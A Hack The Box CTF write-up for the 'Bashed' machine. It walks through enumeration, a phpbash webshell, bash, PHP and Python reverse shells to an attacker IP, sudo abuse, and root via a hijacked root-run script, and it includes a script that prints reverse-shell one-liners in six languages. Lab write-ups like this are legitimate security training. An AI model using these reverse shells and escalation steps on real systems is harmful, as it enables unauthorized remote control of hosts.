Bashed

PHP, bash and python shell.

Document


=======================================================================

Initial Information:

=======================================================================

First, I start with my predefined scripts that create a variable in the Zsh shell, streamlining the creation of documents and scans.

target1
htp bashed
iniciar
enum

The script generates multiple files, including information about the type of machine (Linux or Windows). It performs a basic Nmap scan and creates a file with the Nmap scan results in the Nmap folder.

❯ pwd
/home/4rji/Documents/GitHub/4rjinotes/htb/bashed/nmap

❯ ls
 a.out   nmap   nmap.md   nmap_CV   OS-tipo   webscan




=======================================================================

Enumeration

======================================================================= Code Example with Copy Functionality



❯ cat webscan
───────┬────────────────────────────────────────────────────────────────────────────────────
       │ File: webscan
───────┼────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94SVN scan initiated Fri Mar 29 20:04:03 2024 as: nmap --script http-enum 
       │ -p80 -oN webscan 10.10.10.68
   2   │ Nmap scan report for 10.10.10.68
   3   │ Host is up (0.10s latency).
   4   │ 
   5   │ PORT   STATE SERVICE
   6   │ 80/tcp open  http
   7   │ | http-enum: 
   8   │ |   /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
   9   │ |   /dev/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
  10   │ |   /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubunt
       │ u)'
  11   │ |   /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
  12   │ |   /php/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
  13   │ |_  /uploads/: Potentially interesting folder
  14   │ 
  15   │ # Nmap done at Fri Mar 29 20:04:13 2024 -- 1 IP address (1 host up) scanned in 10.8
       │ 6 seconds
Code Example with Copy Functionality



gobuster dir --url http://10.10.10.68/ --wordlist /usr/share/wordlists/dirb/small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
Progress: 959 / 960 (99.90%)
===============================================================
Finished
===============================================================
See the page here.
Code Example with Copy Functionality

From the scan using the Nmap script, we obtained several directories. The `/dev/` directory contains a webshell.

Index of /dev
[ICO]	Name	Last modified	Size	Description
[PARENTDIR]	Parent Directory	 	- 	 
[ ]	phpbash.min.php	2017-12-04 12:21 	4.6K	 
[ ]	phpbash.php	2017-11-30 23:56 	8.1K	 
Apache/2.4.18 (Ubuntu) Server at 10.10.10.68 Port 80
http://10.10.10.68/dev/phpbash.php


www-data@bashed:/var/www/html/dev# whoami
www-data




=======================================================================

Post Exploitation

=======================================================================

In the webshell, we execute the following command to bring the shell to our machine, with the NC port listening on 443:

bash -c "bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261"

we obtain an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press `Control + Z`
stty raw -echo; fg
reset
export TERM=xterm

Now we search for the user flag:

www-data@bashed:/home/arrexel$ cat user.txt

cat user.txt

b54513ea9b68f15c0acd28643b14a584

www-data@bashed:/home/arrexel$ 

PHP reverse shell

Another way to achieve this is by uploading a reverse shell with PHP, using the following scripts: servidor - linpi

  • servidor - This script creates a Python server so that the PHP file can be downloaded to the machine

    Code Example with Copy Functionality



    #!/bin/bash
    
    echo -e "\033[1;32mEl comando que este script ejecuta es:\033[0m"
        echo ""
        echo -e "\033[1;33mpython3 -m http.server 80\033[0m"
    
    
    
    echo -e "\n\033[1;37m_________________________________________________________\033[0m\n"
    
    echo -e "\033[0;34mejecutar linpi para descomprimir los otros binarios y tambien pyreque como sudo para secreto\033[0m"
    
    echo "ejecutar linpi para descomprimir los otros binarios y tambien pyreque como sudo para secreto"
    echo -e "\n\033[1;37m_________________________________________________________\033[0m\n"
    
    
    
    echo ""
    echo -e "\033[1;34m_________________________________________________________\033[0m"
    #echo ""
    
    #descomprimir linpeas porque github no me deja subirlo sin encriptar
    linpi
    #cambiando permisos a chmod +x 
    chmod +x  /dev/shm/apache/linpeas.sh
    chmod +x  /dev/shm/apache/winPEASx64.exe
    chmod +x  /dev/shm/apache/winPEASx86.exe
    chmod +x  /dev/shm/apache/linenum.sh
    
    
    
    # Variables para opciones predeterminadas
    default_port="80"
    port=$default_port
    
    # Directorio de destino para los archivos Apache
    destination_dir="/dev/shm/apache"
    
    # Archivo de lista de nombres de archivos
    file_list="/opt/4rji/bin/listaapache"
    
    echo ""
    # Pregunta combinada
    read -p "¿Deseas utilizar un puerto diferente al predeterminado ($default_port)? [S/n] " custom_port
    custom_port="${custom_port:-n}"
    
    if [[ $custom_port =~ ^[Ss]$ ]]; then
        # Solicitar el puerto personalizado
        read -p "Por favor, introduce el puerto deseado: " port
    fi
    
    # Copiar archivos de la listaapache a /tmp/apache
    if [ ! -d "$destination_dir" ]; then
        mkdir -p "$destination_dir"
    fi
    
    while IFS= read -r filename; do
        file_path=$(find /opt/4rji/bin/ -name "$filename" 2>/dev/null)
        if [ -n "$file_path" ]; then
            cp "$file_path" "$destination_dir"
        else
            
            echo -e "\033[0;31mNo se encontro el archivo $filename en /opt/4rji/bin\033[0m"
        fi
    done < "$file_list"
    
    echo ""
    echo ""
    echo -e "\033[0;34mArchivos copiados a $destination_dir\033[0m"
    #echo "linenum.sh   linpeas.sh   winpeasx64.exe   winpeasx86.exe"
    echo ""
    ls $destination_dir
    echo ""
    
    
    # Iniciar el servidor HTTP de Python en /tmp/apache
    if [[ $port =~ ^[0-9]+$ ]]; then
        cd "$destination_dir"
        echo -e "\033[1;34m_________________________________________________________\033[0m"
        echo ""
    
        echo -e "\033[33mIniciando servidor HTTP de Python en la ruta $destination_dir:$port\033[0m"
    
    #    ip -4 addr show | awk '/inet/ && !/127.0.0.1/ {split($2, a, "/"); printf "\t\t\t\t%s: %s\n", $NF, a[1]}'
        ip -4 addr show | awk '/inet/ && !/127.0.0.1/ {split($2, a, "/"); printf "\033[1;31m\t\t\t\t%s: %s\n\033[0m", $NF, a[1]}'
    
        echo ""
        python3 -m http.server $port
    else
        echo -e "${RED}El puerto ingresado no es valido.${NC}"
    fi
  • In the web terminal, we download our file to the uploads folder with:

    # Let's not forget to modify the `/dev/shm/apache/php-reverse-shell.php` file with our IP address.
    
    www-data@bashed: /var/www/html# cd uploads
    wget 10.10.14.6/php-reverse-shell.php
    
  • We create a listener with `nc`

    ❯ nc -nlvp 1234
    
    listening on [any] 1234 ...
  • Now, execute the file from the web browser

    http://10.10.10.68/uploads/php-reverse-shell.php
  • Receive the shell in our terminal.

    ❯ nc -nlvp 1234
    listening on [any] 1234 ...
    connect to [10.10.14.6] from (UNKNOWN) [10.10.10.68] 51058
    Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
     23:52:00 up  5:07,  0 users,  load average: 0.00, 0.00, 0.00
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    /bin/sh: 0: can't access tty; job control turned off
    
    $ python -c 'import pty;pty.spawn("bin/bash")'  
    bash-4.3$ 




[+] PrivEsc Notes:


We found that `scriptmanager` has sudo privileges.

sudo -l

Matching Defaults entries for www-data on bashed:

    env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin



User www-data may run the following commands on bashed:

    (scriptmanager : scriptmanager) NOPASSWD: ALL

We switch to the `scriptmanager` user:

sudo -u scriptmanager bash

whoami
scriptmanager




In the root directory, we find a folder named scripts. There, we see that test.py runs with root permissions. We modify the content to execute our code, which will provide us with a bash shell as root by changing the permissions of the bash:

scriptmanager@bashed:/scripts$  nano test.py
        	  


    
    
    


    
    
import os
os.system("chmod u+s /bin/bash")
scriptmanager@bashed:/scripts$ ls -l /bin/bash -rwxr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash # After it runs, possibly by a root routine, the permissions have changed. watch ls -l /bin/bash -rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash

Now that the permissions of the bash have changed, we can become root.

bash -p

bash-4.3# whoami
root


bash-4.3# cat root.txt 

2a01e8d58c482cac64fd3310083b165c

Obtaining root with a Python reverse shell.

Another way is by modifying the `test.py` file with a Python reverse shell. We use the `shells` script to generate the shell.

#!/bin/bash

# Define the options and commands
options=("Bash" "PERL" "Python" "Ruby" "Netcat" "Java")
commands=(
    "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
    "perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
    "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
    "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"
    "nc -e /bin/sh 10.0.0.1 1234"
    "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done\"] as String[])\np.waitFor()"
)

# Ask the user for the IP address
read -p "Enter the IP address to use in the commands: " ip_address

# Replace the placeholder IP with the user-provided IP
for i in "${!commands[@]}"; do
    commands[$i]="${commands[$i]//10.0.0.1/$ip_address}"
done

# Display the options
echo -e "\n\033[1;37m_________________________________________________________\033[0m\n"
echo -e "\033[1;31mSelect a command to copy to clipboard:\033[0m"
for i in "${!options[@]}"; do
    echo -e "\033[1;32m$((i+1)). ${options[i]}\033[0m"
done

# Read the user's choice
read -p "Enter the number of your choice: " choice

# Validate the choice and copy to clipboard
if [[ "$choice" -gt 0 && "$choice" -le "${#options[@]}" ]]; then
    selected_command="${commands[$((choice-1))]}"
    echo "$selected_command" | xclip -selection clipboard
    
    echo -e "\n\033[1;37m_________________________________________________________\033[0m\n"
    echo -e "\033[1;33mCommand copied to clipboard:\033[0m"
    echo -e "\033[1;35m$selected_command\033[0m"
else
    echo -e "\033[1;31mInvalid option. Exiting.\033[0m"
    exit 1
fi

echo -e "\n\033[1;37m_________________________________________________________\033[0m\n"
echo -e "\033[1;36mADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.\033[0m"

The script has generated the new Python shell, and now we proceed to copy it into the `test.py` file.

❯ shells

Enter the IP address to use in the commands: 10.10.14.6

_________________________________________________________

Select a command to copy to clipboard:

1. Bash

2. PERL

3. Python

4. Ruby

5. Netcat

6. Java

Enter the number of your choice: 3



_________________________________________________________



Command copied to clipboard:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
bash-4.3$ nano test.py

bash-4.3$ nano test.py

bash-4.3$ 

bash-4.3$ cat test.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

We open the terminal with `nc`.

❯ nc -nlvp 1234

listening on [any] 1234 ...

connect to [10.10.14.6] from (UNKNOWN) [10.10.10.68] 51088

/bin/sh: 0: can't access tty; job control turned off

# whoami

root

# 

Done, we have received the shell.

END